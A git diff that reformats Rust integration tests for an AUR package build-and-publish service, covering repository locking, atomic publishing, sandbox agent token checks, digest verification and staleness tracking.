@@ -424,7 +395,9 @@ fn i12_world_snapshot_is_recorded_at_ingest() {
let json: String = env
.db
.read(|c| {
- Ok(c.query_row("SELECT members_json FROM world_snapshot WHERE id=?1", rusqlite::params![wid], |r| r.get(0))?)
+ Ok(c.query_row("SELECT members_json FROM world_snapshot WHERE id=?1", rusqlite::params![wid], |r| {
+ r.get(0)
+ })?)
})
.unwrap();
let parsed: Vec<serde_json::Value> = serde_json::from_str(&json).unwrap();
@@ -464,10 +437,7 @@ fn a_stale_accepted_pointer_refuses_to_publish() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- env.exec(
- "UPDATE pkgbase SET current_accepted_release_id=4242 WHERE name='plain-make'",
- &[],
- );
+ env.exec("UPDATE pkgbase SET current_accepted_release_id=4242 WHERE name='plain-make'", &[]);
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Failed { step, error, .. } => {
assert_eq!(step, "publish");
@@ -475,7 +445,7 @@ fn a_stale_accepted_pointer_refuses_to_publish() {
}
other => panic!("expected a CAS refusal, got {other:?}"),
}
- assert!(in_index(&env).is_empty());
+ assert_eq!(in_index(&env), [] as [(std::string::String, std::string::String); 0]);
}
// ------------------------------------------------------- withdrawal and cleanup --
@@ -500,13 +470,10 @@ fn a_publish_that_does_not_land_leaves_no_orphan_files_in_the_served_tree() {
let c = approve_fixture(&env, "plain-make");
env.set_publish_fault("before-rename");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
let stray: Vec<String> = std::fs::read_dir(env.cfg.repo_arch_dir())
.expect("arch dir")
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.map(|e| e.file_name().to_string_lossy().to_string())
.filter(|n| n.ends_with(".pkg.tar.zst") || n.ends_with(".sig"))
.collect();
diff --git a/tests/production_surface.rs b/tests/production_surface.rs
index bcf3e92..bf0a497 100644
--- a/tests/production_surface.rs
+++ b/tests/production_surface.rs
@@ -49,16 +49,10 @@ fn no_production_module_references_the_shim_harness() {
fn the_served_index_has_exactly_one_serialization_lock() {
let src = std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("src/pipeline/publish.rs"))
.expect("read publish.rs");
- let mutexes = src
- .lines()
- .filter(|l| l.contains("static") && l.contains("Mutex<"))
- .collect::<Vec<_>>();
+ let mutexes = src.lines().filter(|l| l.contains("static") && l.contains("Mutex<")).collect::<Vec<_>>();
assert_eq!(mutexes.len(), 1, "publish.rs must declare exactly one serialization mutex, found {mutexes:?}");
assert!(!src.contains("PUBLISH_LOCK"), "the second lock must stay deleted");
- let acquisitions = src
- .lines()
- .filter(|l| l.contains("lock_repo()") && !l.trim_start().starts_with("fn "))
- .count();
+ let acquisitions = src.lines().filter(|l| l.contains("lock_repo()") && !l.trim_start().starts_with("fn ")).count();
assert!(
acquisitions >= 2,
"publish and withdraw_package must both take the repo lock; found {acquisitions} acquisitions"
@@ -67,8 +61,8 @@ fn the_served_index_has_exactly_one_serialization_lock() {
#[test]
fn the_shim_binaries_are_test_only() {
- let manifest = std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("Cargo.toml"))
- .expect("read Cargo.toml");
+ let manifest =
+ std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("Cargo.toml")).expect("read Cargo.toml");
for tool in ["mkarchroot", "makechrootpkg", "makepkg", "repo-add", "gpg", "pacman"] {
let block = manifest
.split("[[bin]]")
@@ -169,20 +163,12 @@ fn the_virtual_clock_is_compiled_out_without_test_support() {
fallback.contains("pub fn virtual_sleep() -> bool") && fallback.contains("false"),
"the fallback must report a real wait so the seam compiles to a plain sleep"
);
- assert!(
- !fallback.contains("Mutex"),
- "nothing may be locked on the wait path of a production build"
- );
+ assert!(!fallback.contains("Mutex"), "nothing may be locked on the wait path of a production build");
}
#[test]
fn control_loops_wait_through_the_clock_seam() {
- for file in [
- "src/pipeline/dispatch.rs",
- "src/watch/scheduler.rs",
- "src/http/sse.rs",
- "src/sandbox/remote.rs",
- ] {
+ for file in ["src/pipeline/dispatch.rs", "src/watch/scheduler.rs", "src/http/sse.rs", "src/sandbox/remote.rs"] {
let src = read(file);
assert!(
!src.contains("std::thread::sleep"),
diff --git a/tests/remote_agent.rs b/tests/remote_agent.rs
index 534b346..05a5832 100644
--- a/tests/remote_agent.rs
+++ b/tests/remote_agent.rs
@@ -43,10 +43,7 @@ fn a_full_build_runs_over_the_agent_protocol() {
assert!(matches!(out, pipeline::Outcome::Succeeded { .. }), "{out:?}");
let log = std::fs::read_to_string(env.cfg.build_log_path(&id)).unwrap();
- assert!(
- log.contains("Making package"),
- "agent-streamed output must reach the build log:\n{log}"
- );
+ assert!(log.contains("Making package"), "agent-streamed output must reach the build log:\n{log}");
let shimlog = env.cfg.hooks.shim_dir.clone().unwrap();
assert_eq!(aur_build::shims::called_with(&shimlog, "makepkg", ""), 1);
@@ -62,9 +59,7 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() {
.args(["--hub", &addr, "--token", "right-token", "--ttl", "30"])
.spawn()
.expect("spawn sandbox-agent");
- let sbx = backend
- .acquire(&SandboxSpec::new("extra-x86_64", "blob-test", Duration::from_secs(10)))
- .unwrap();
+ let sbx = backend.acquire(&SandboxSpec::new("extra-x86_64", "blob-test", Duration::from_secs(10))).unwrap();
let bytes = b"pinned artifact bytes".to_vec();
let digest = aur_build::hash::hex(&bytes);
sbx.put(&digest, &mut std::io::Cursor::new(bytes.clone())).unwrap();
@@ -78,9 +73,8 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() {
.args(["--hub", &addr, "--token", "wrong-token", "--ttl", "30"])
.spawn()
.expect("spawn sandbox-agent");
- let err = match backend.acquire(&SandboxSpec::new("extra-x86_64", "nope", Duration::from_secs(10))) {
- Err(e) => e,
- Ok(_) => panic!("a stranger's box must not be leased"),
+ let Err(err) = backend.acquire(&SandboxSpec::new("extra-x86_64", "nope", Duration::from_secs(10))) else {
+ panic!("a stranger's box must not be leased")
};
assert!(err.to_string().contains("token"), "{err}");
let _ = bad.wait();
@@ -151,11 +145,8 @@ fn two_concurrent_builds_do_not_fight_over_the_listener() {
let addr = format!("127.0.0.1:{}", free_port());
let (mut env, _fa, _fb) = env_with_two_fixtures("plain-make", "install-hooks");
env.cfg.max_concurrent_builds = 2;
- env.cfg.sandbox = aur_build::config::Sandbox::Remote {
- listen: addr.clone(),
- token: "concurrent".into(),
- shared_workspace: true,
- };
+ env.cfg.sandbox =
+ aur_build::config::Sandbox::Remote { listen: addr.clone(), token: "concurrent".into(), shared_workspace: true };
let mut ids = Vec::new();
for name in ["plain-make", "install-hooks"] {
diff --git a/tests/schema_ownership.rs b/tests/schema_ownership.rs
index 34fb184..9df7fa5 100644
--- a/tests/schema_ownership.rs
+++ b/tests/schema_ownership.rs
@@ -1,13 +1,12 @@
use std::path::{Path, PathBuf};
const SQL_LITERALS: &[&str] = &[
- "\"SELECT", "\"select", "\"INSERT", "\"insert", "\"UPDATE", "\"update", "\"DELETE", "\"delete",
- "\"PRAGMA", "\"WITH",
+ "\"SELECT", "\"select", "\"INSERT", "\"insert", "\"UPDATE", "\"update", "\"DELETE", "\"delete", "\"PRAGMA",
+ "\"WITH",
];
-const STATEMENT_CALLS: &[&str] = &[
- ".query_row(", ".query_map(", ".execute(", ".execute_batch(", ".prepare(", ".pragma_query_value(",
-];
+const STATEMENT_CALLS: &[&str] =
+ &[".query_row(", ".query_map(", ".execute(", ".execute_batch(", ".prepare(", ".pragma_query_value("];
fn rust_files(dir: &Path, out: &mut Vec<PathBuf>) {
for entry in std::fs::read_dir(dir).expect("read_dir") {
@@ -47,11 +46,7 @@ fn no_sql_statements_outside_the_db_module() {
}
}
}
- assert!(
- offenders.is_empty(),
- "SQL belongs to `db/`. Move these into a typed query:\n{}",
- offenders.join("\n")
- );
+ assert!(offenders.is_empty(), "SQL belongs to `db/`. Move these into a typed query:\n{}", offenders.join("\n"));
}
#[test]
@@ -83,9 +78,6 @@ trait StripPath {
impl StripPath for PathBuf {
fn strip_path(&self, root: &Path) -> String {
- self.strip_prefix(root)
- .unwrap_or(self.as_path())
- .to_string_lossy()
- .replace('\\', "/")
+ self.strip_prefix(root).unwrap_or(self.as_path()).to_string_lossy().replace('\\', "/")
}
}
diff --git a/tests/shims.rs b/tests/shims.rs
index 345d9f2..98f27b0 100644
--- a/tests/shims.rs
+++ b/tests/shims.rs
@@ -12,11 +12,7 @@ fn shim(tool: &str, cwd: &Path, envs: &[(&str, &Path)], args: &[&str]) -> (i32,
assert!(exe.exists(), "shim {tool} not built at {}", exe.display());
let out = Command::new(&exe)
.current_dir(cwd)
- .envs(
- envs
- .iter()
- .map(|(k, v)| (*k, v.as_os_str().to_os_string())),
- )
+ .envs(envs.iter().map(|(k, v)| (*k, v.as_os_str().to_os_string())))
.args(args)
.output()
.expect("run shim");
@@ -36,11 +32,7 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
let tmp = tempfile::tempdir().unwrap();
let build = tmp.path().join("build");
std::fs::create_dir_all(&build).unwrap();
- std::fs::write(
- build.join("PKGBUILD"),
- common::pkgbuild("plain-make", "1.0", "1", ""),
- )
- .unwrap();
+ std::fs::write(build.join("PKGBUILD"), common::pkgbuild("plain-make", "1.0", "1", "")).unwrap();
let log = tmp.path().join("shimlog");
std::fs::create_dir_all(&log).unwrap();
@@ -66,10 +58,7 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
assert!(buildinfo.contains(" glibc 2.39-1 x86_64 -"));
assert!(build.with_extension("pkg.tar.zst.sig").exists() || pkg.with_extension("pkg.tar.zst.sig").exists());
assert_eq!(
- shims::invocations(&log)
- .iter()
- .filter(|e| e["tool"] == "makechrootpkg")
- .count(),
+ shims::invocations(&log).iter().filter(|e| e["tool"] == "makechrootpkg").count(),
1,
"invocation recorded for the pipeline to assert on"
);
@@ -117,12 +106,7 @@ fn repo_add_writes_a_pacman_database() {
let build = tmp.path().join("build");
std::fs::create_dir_all(&build).unwrap();
std::fs::write(build.join("PKGBUILD"), common::pkgbuild("plain-make", "1.0", "1", "")).unwrap();
- shim(
- "makechrootpkg",
- &build,
- &[("AUR_SHIM_MANIFEST", &fixture_manifest("plain-make"))],
- &["-c", "-r", "chroot"],
- );
+ shim("makechrootpkg", &build, &[("AUR_SHIM_MANIFEST", &fixture_manifest("plain-make"))], &["-c", "-r", "chroot"]);
let pkg = build.join("plain-make-1.0-1-x86_64.pkg.tar.zst");
let db = tmp.path().join("aur-build.db.tar.gz");
@@ -137,11 +121,7 @@ fn repo_add_writes_a_pacman_database() {
let dec = flate2::read::GzDecoder::new(std::fs::File::open(&db).unwrap());
let mut ar = tar::Archive::new(dec);
- let names: Vec<String> = ar
- .entries()
- .unwrap()
- .map(|e| e.unwrap().path().unwrap().display().to_string())
- .collect();
+ let names: Vec<String> = ar.entries().unwrap().map(|e| e.unwrap().path().unwrap().display().to_string()).collect();
assert!(names.iter().any(|n| n == "plain-make/DESC"), "{names:?}");
let desc = {
let dec = flate2::read::GzDecoder::new(std::fs::File::open(&db).unwrap());
@@ -181,12 +161,8 @@ fn pacman_u_verifies_digests_and_q_reports_the_world() {
let blob = tmp.path().join(aur_build::hash::hex(&bytes));
std::fs::write(&blob, &bytes).unwrap();
- let (code, _, err) = shim(
- "pacman",
- tmp.path(),
- &[("AUR_SHIM_DIR", &log)],
- &["-U", "--noconfirm", &blob.display().to_string()],
- );
+ let (code, _, err) =
+ shim("pacman", tmp.path(), &[("AUR_SHIM_DIR", &log)], &["-U", "--noconfirm", &blob.display().to_string()]);
assert_eq!(code, 0, "{err}");
let (code, out, _) = shim("pacman", tmp.path(), &[("AUR_SHIM_DIR", &log)], &["-Q"]);
@@ -195,12 +171,7 @@ fn pacman_u_verifies_digests_and_q_reports_the_world() {
let bad = tmp.path().join(aur_build::hash::hex(b"some other artifact"));
std::fs::write(&bad, b"tampered").unwrap();
- let (code, _, err) = shim(
- "pacman",
- tmp.path(),
- &[("AUR_SHIM_DIR", &log)],
- &["-U", &bad.display().to_string()],
- );
+ let (code, _, err) = shim("pacman", tmp.path(), &[("AUR_SHIM_DIR", &log)], &["-U", &bad.display().to_string()]);
assert_ne!(code, 0, "a digest mismatch must fail closed");
assert!(err.contains("hash"), "{err}");
}
@@ -273,7 +244,7 @@ fn every_fixture_is_drivable_through_the_shims() {
assert!(out.status.success(), "{name}: {}", String::from_utf8_lossy(&out.stderr));
let pkgs: Vec<_> = std::fs::read_dir(&build)
.unwrap()
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.map(|e| e.file_name().to_string_lossy().into_owned())
.filter(|n| n.ends_with(".pkg.tar.zst"))
.collect();
@@ -337,16 +308,9 @@ fn shim_environment_reaches_child_processes_through_the_config() {
assert!(s.contains("manifest.json"), "{s}");
}
-const REAL_ACCEPTED: [&str; 5] = [
- "aur.db.tar",
- "aur.db.tar.gz",
- "aur.db.tar.zst",
- "aur.db.tar.bz2",
- "aur.db.tar.xz",
-];
+const REAL_ACCEPTED: [&str; 5] = ["aur.db.tar", "aur.db.tar.gz", "aur.db.tar.zst", "aur.db.tar.bz2", "aur.db.tar.xz"];
-const REAL_REJECTED: [&str; 5] =
- ["aur.db", "aur.db.gz", "aur.db.tar.gz.tmp", "aur.files.tar.gz", "aur"];
+const REAL_REJECTED: [&str; 5] = ["aur.db", "aur.db.gz", "aur.db.tar.gz.tmp", "aur.files.tar.gz", "aur"];
#[test]
fn repo_add_shim_refuses_a_database_name_repo_add_refuses() {
@@ -355,10 +319,7 @@ fn repo_add_shim_refuses_a_database_name_repo_add_refuses() {
let bad = tmp.path().join(name);
let (code, _, err) = shim("repo-add", tmp.path(), &[], &["-R", &bad.display().to_string()]);
assert_eq!(code, 1, "repo-add must fail on {name}, like the real tool");
- assert!(
- err.contains("does not have a valid database archive extension"),
- "{name}: {err}"
- );
+ assert!(err.contains("does not have a valid database archive extension"), "{name}: {err}");
assert!(!bad.exists(), "{name}: nothing may be written for a rejected name");
}
for name in REAL_ACCEPTED {
@@ -378,10 +339,7 @@ fn repo_add_db_names_match_the_real_repo_add() {
let tmp = tempfile::tempdir().unwrap();
for name in REAL_ACCEPTED.into_iter().chain(REAL_REJECTED) {
let p = tmp.path().join(name);
- let real = Command::new("repo-add")
- .args(["-R", &p.display().to_string()])
- .output()
- .unwrap();
+ let real = Command::new("repo-add").args(["-R", &p.display().to_string()]).output().unwrap();
assert_eq!(
shims::valid_db_arg(&p),
real.status.success(),
@@ -404,16 +362,10 @@ fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() {
.and_then(|a| a.as_array().cloned())
.expect("the invocation log records args")
.iter()
- .filter_map(|v| v.as_str().map(|s| s.to_string()))
+ .filter_map(|v| v.as_str().map(std::string::ToString::to_string))
.collect::<Vec<_>>();
- let db = args
- .iter()
- .find(|a| !a.starts_with('-'))
- .expect("repo-add's first positional is the database");
- assert!(
- shims::valid_db_arg(Path::new(db)),
- "publish passed {db}, which repo-add would refuse"
- );
+ let db = args.iter().find(|a| !a.starts_with('-')).expect("repo-add's first positional is the database");
+ assert!(shims::valid_db_arg(Path::new(db)), "publish passed {db}, which repo-add would refuse");
let arch = web.env.cfg.repo_arch_dir();
let leftovers: Vec<String> = std::fs::read_dir(&arch)
@@ -422,9 +374,5 @@ fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() {
.map(|e| e.file_name().to_string_lossy().into_owned())
.filter(|n| n.starts_with(".render-"))
.collect();
- assert!(
- leftovers.is_empty(),
- "scratch directories left behind in {}: {leftovers:?}",
- arch.display()
- );
+ assert!(leftovers.is_empty(), "scratch directories left behind in {}: {leftovers:?}", arch.display());
}
diff --git a/tests/staleness.rs b/tests/staleness.rs
index b5a5ac1..1fc05f9 100644
--- a/tests/staleness.rs
+++ b/tests/staleness.rs
@@ -45,7 +45,7 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
"SELECT m.name || '.' || p.name FROM sqlite_master m, pragma_table_info(m.name) p
WHERE m.type='table' AND p.name LIKE '%stale%'",
)?;
- let out = st.query_map([], |r| r.get::<_, String>(0))?.filter_map(|x| x.ok()).collect();
+ let out = st.query_map([], |r| r.get::<_, String>(0))?.filter_map(std::result::Result::ok).collect();
Ok(out)
})
.unwrap();
@@ -58,7 +58,10 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() {
"withdrawing the dependency should flip the answer to missing: {after:?}"
);
assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='dep-client')", &[]),
+ env.query_i64(
+ "SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='dep-client')",
+ &[]
+ ),
Some(1),
"the dependent was untouched by its dependency moving"
);
@@ -105,7 +108,11 @@ fn a_blocked_build_waits_and_is_requeued_only_when_the_blocker_arrives() {
"dep-partner should be in the index now: {:?}",
aur_build::db::our_package_names(&env.db)
);
- assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Queued, "the blocker arrived and the build stayed blocked");
+ assert_eq!(
+ builds::get(&env.db, &id).unwrap().unwrap().state,
+ BuildState::Queued,
+ "the blocker arrived and the build stayed blocked"
+ );
assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "nothing left to requeue");
pipeline::run(&env.cfg, &env.db, &id).unwrap();
@@ -157,11 +164,7 @@ fn a_dependency_we_stopped_publishing_shows_as_missing_not_outdated() {
pipeline::publish::withdraw_package(&env.cfg, &env.db, "plain-make").unwrap();
let stale = staleness::stale_rows(&env.db).unwrap();
- let missing: Vec<_> = stale
- .iter()
- .filter(|s| s.kind == staleness::Kind::Missing)
- .cloned()
- .collect();
+ let missing: Vec<_> = stale.iter().filter(|s| s.kind == staleness::Kind::Missing).cloned().collect();
assert_eq!(missing.len(), 1, "withdrawal should read as missing: {stale:?}");
assert_eq!(missing[0].pkgbase, "dep-client");
assert_eq!(missing[0].dependency, "plain-make");
diff --git a/tests/state_machine.rs b/tests/state_machine.rs
index ccfdc42..f355e8f 100644
--- a/tests/state_machine.rs
+++ b/tests/state_machine.rs
@@ -1,6 +1,9 @@
mod common;
-use aur_build::db::{builds, model::{BuildState, CandidateState, StepState}};
+use aur_build::db::{
+ builds,
+ model::{BuildState, CandidateState, StepState},
+};
use common::Env;
// What remains all moves real rows through real transitions against a
// database. The two tests that were only about the state enum — the column-text
@@ -124,16 +127,11 @@ fn candidate(env: &Env, state: &str) -> i64 {
}
fn resolve(env: &Env, id: i64, to: CandidateState) -> aur_build::error::Result<()> {
- env.db
- .writer
- .tx_for_tests(move |tx| aur_build::db::candidates::resolve_in(tx, id, to, "2026-01-01T00:00:00Z"))
+ env.db.writer.tx_for_tests(move |tx| aur_build::db::candidates::resolve_in(tx, id, to, "2026-01-01T00:00:00Z"))
}
fn candidate_state(env: &Env, id: i64) -> CandidateState {
- aur_build::db::candidates::by_id(&env.db, id)
- .unwrap()
- .expect("candidate")
- .state
+ aur_build::db::candidates::by_id(&env.db, id).unwrap().expect("candidate").state
}
#[test]
@@ -190,19 +188,13 @@ fn an_interrupted_step_resumes_and_a_blocked_step_waits() {
fn an_unnamed_state_in_any_row_is_an_error() {
let env = Env::new();
let cid = candidate(&env, "approved");
- env.exec(
- "UPDATE candidate SET state='reconsidered' WHERE id=?1",
- &[common::P::I(cid)],
- );
+ env.exec("UPDATE candidate SET state='reconsidered' WHERE id=?1", &[common::P::I(cid)]);
let err = aur_build::db::candidates::by_id(&env.db, cid).unwrap_err();
assert!(err.to_string().contains("candidate has a state outside"), "{err}");
let id = build(&env, "b1");
builds::begin_step(&env.db, &id, "build", 1).unwrap();
- env.exec(
- "UPDATE build_step SET status='maybe' WHERE build_id=?1 AND step='build'",
- &[common::P::S(id.clone())],
- );
+ env.exec("UPDATE build_step SET status='maybe' WHERE build_id=?1 AND step='build'", &[common::P::S(id.clone())]);
let err = builds::step_status(&env.db, &id, "build").unwrap_err();
assert!(err.to_string().contains("build step has a state outside"), "{err}");
}
diff --git a/tests/surfaces.rs b/tests/surfaces.rs
index 87b860d..15e07c3 100644
--- a/tests/surfaces.rs
+++ b/tests/surfaces.rs
@@ -27,10 +27,7 @@ fn attention_lists_outdated_dependencies_from_the_recorded_world() {
let web = Web::attach(env, client);
web.publish("plain-make");
web.publish("dep-client");
- assert!(
- !web.get("/attention").body.contains("Outdated:"),
- "dep-client is fresh right after both were published"
- );
+ assert!(!web.get("/attention").body.contains("Outdated:"), "dep-client is fresh right after both were published");
plain.bump(&[("pkgver", "2.0")]);
web.publish("plain-make");
@@ -60,7 +57,10 @@ fn the_package_page_answers_dependencies_and_staleness() {
let other = web.get("/packages/plain-make");
assert!(other.body.contains("Needed by"), "no needed-by block");
assert!(other.body.contains("dep-client"), "the dependent is not listed");
- assert!(other.body.contains("aur.archlinux.org/cgit/aur.git/tree/?h=plain-make&amp;id="), "no per-release cgit link");
+ assert!(
+ other.body.contains("aur.archlinux.org/cgit/aur.git/tree/?h=plain-make&amp;id="),
+ "no per-release cgit link"
+ );
assert!(other.body.contains("serving 2.0"), "the summary does not say what is served");
}
@@ -80,10 +80,7 @@ fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() {
"a manual rebuild must not mint an approval"
);
- let queued = web
- .env
- .query_i64("SELECT count(*) FROM build WHERE kind='manual_rebuild'", &[])
- .unwrap();
+ let queued = web.env.query_i64("SELECT count(*) FROM build WHERE kind='manual_rebuild'", &[]).unwrap();
assert_eq!(queued, 1, "the rebuild was not queued");
let id: String = web
@@ -91,13 +88,9 @@ fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() {
.db
.read(|c| {
use rusqlite::OptionalExtension;
- c.query_row(
- "SELECT id FROM build WHERE kind='manual_rebuild'",
- [],
- |r| r.get::<_, String>(0),
- )
- .optional()
- .map_err(Into::into)
+ c.query_row("SELECT id FROM build WHERE kind='manual_rebuild'", [], |r| r.get::<_, String>(0))
+ .optional()
+ .map_err(Into::into)
})
.unwrap()
.unwrap();
@@ -150,7 +143,10 @@ fn pausing_a_subscription_stops_detection_and_resuming_starts_it_again() {
);
web.fx.bump(&[("pkgver", "3.0")]);
let report = aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap();
- assert!(matches!(report.outcome, aur_build::watch::detect::Outcome::Paused), "a paused subscription was still inspected");
+ assert!(
+ matches!(report.outcome, aur_build::watch::detect::Outcome::Paused),
+ "a paused subscription was still inspected"
+ );
assert_eq!(
candidates::pending_candidates(&web.env.db).unwrap().len(),
0,
diff --git a/tests/time.rs b/tests/time.rs
index a34202f..3b17d7c 100644
--- a/tests/time.rs
+++ b/tests/time.rs
@@ -11,10 +11,7 @@ use common::Env;
#[test]
fn a_lease_taken_under_a_pinned_clock_expires_against_that_clock() {
let env = Env::new();
- env.exec(
- "INSERT INTO pkgbase (name, aur_url, created_at) VALUES ('x', 'u', '2026-01-01T00:00:00Z')",
- &[],
- );
+ env.exec("INSERT INTO pkgbase (name, aur_url, created_at) VALUES ('x', 'u', '2026-01-01T00:00:00Z')", &[]);
let pb = env.query_i64("SELECT id FROM pkgbase WHERE name='x'", &[]).unwrap();
builds::enqueue(&env.db, "b1", pb, None, "manual", None, "default", 0).unwrap();
diff --git a/tests/vcs.rs b/tests/vcs.rs
index 52f4372..d0f0d60 100644
--- a/tests/vcs.rs
+++ b/tests/vcs.rs
@@ -47,10 +47,7 @@ fn stage_a_respects_a_tag_pin() {
fx.upstream_commit("upstream: moved past the tag\n");
let (outcome, _) = detect_and_take(&env, "git-tagged");
- assert!(
- matches!(outcome, detect::Outcome::NoChange),
- "a tag pin does not drift with the branch: {outcome:?}"
- );
+ assert!(matches!(outcome, detect::Outcome::NoChange), "a tag pin does not drift with the branch: {outcome:?}");
}
#[test]
@@ -193,10 +190,7 @@ fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() {
assert_eq!(notices[0].kind, notice_kind::PIN_DRIFT);
let detail = notices[0].detail_json.clone();
assert!(detail.contains("nothing publishable"), "{detail}");
- assert_eq!(
- env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]),
- Some(1)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1));
}
#[test]
diff --git a/tests/versions.rs b/tests/versions.rs
index 175938d..a7b41f8 100644
--- a/tests/versions.rs
+++ b/tests/versions.rs
@@ -23,11 +23,7 @@ fn a_downgrade_in_the_aur_is_flagged_not_silently_served() {
let base = base_release(&env, &c);
let panels = diff::panels(&env.cfg, &env.db, &c, base.as_ref()).unwrap();
let version = panel(&panels, "version");
- assert!(
- version.body.contains("DOWNGRADE"),
- "the version panel must call out a downgrade: {:?}",
- version.body
- );
+ assert!(version.body.contains("DOWNGRADE"), "the version panel must call out a downgrade: {:?}", version.body);
assert!(version.body.contains("1.0-1 -> 0.9-1"), "{:?}", version.body);
assert!(pkgver::is_downgrade("1.0-1", "0.9-1"));
assert_eq!(aur_build::db::index_version(&env.db, "plain-make").unwrap().unwrap(), "1.0-1");
diff --git a/tests/world.rs b/tests/world.rs
index 4d1e2bc..d8e61b5 100644
--- a/tests/world.rs
+++ b/tests/world.rs
@@ -5,7 +5,12 @@ use aur_build::pipeline;
use aur_build::pkginfo;
use common::*;
-fn make_archive(dir: &std::path::Path, name: &str, pkginfo: Option<&str>, buildinfo: Option<&str>) -> std::path::PathBuf {
+fn make_archive(
+ dir: &std::path::Path,
+ name: &str,
+ pkginfo: Option<&str>,
+ buildinfo: Option<&str>,
+) -> std::path::PathBuf {
let path = dir.join(format!("{name}.pkg.tar.zst"));
let enc = std::io::BufWriter::new(std::fs::File::create(&path).unwrap());
let mut enc = zstd::Encoder::new(enc, 3).unwrap();
@@ -153,17 +158,21 @@ fn a_split_pkgbase_is_one_approval_and_many_index_rows() {
WHERE p.state='in_index' ORDER BY p.name",
)?;
let out = st
- .query_map([], |r| Ok(format!("{} {} art={:?}", r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, Option<i64>>(2)?)))?
- .filter_map(|x| x.ok())
+ .query_map([], |r| {
+ Ok(format!(
+ "{} {} art={:?}",
+ r.get::<_, String>(0)?,
+ r.get::<_, String>(1)?,
+ r.get::<_, Option<i64>>(2)?
+ ))
+ })?
+ .filter_map(std::result::Result::ok)
.collect();
Ok(out)
})
.unwrap();
assert!(rows.len() >= 2, "a split pkgbase should produce several index rows: {rows:?}");
- assert!(
- rows.iter().all(|r| r.contains("art=Some")),
- "every index row needs its own artifact: {rows:?}"
- );
+ assert!(rows.iter().all(|r| r.contains("art=Some")), "every index row needs its own artifact: {rows:?}");
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(1));
}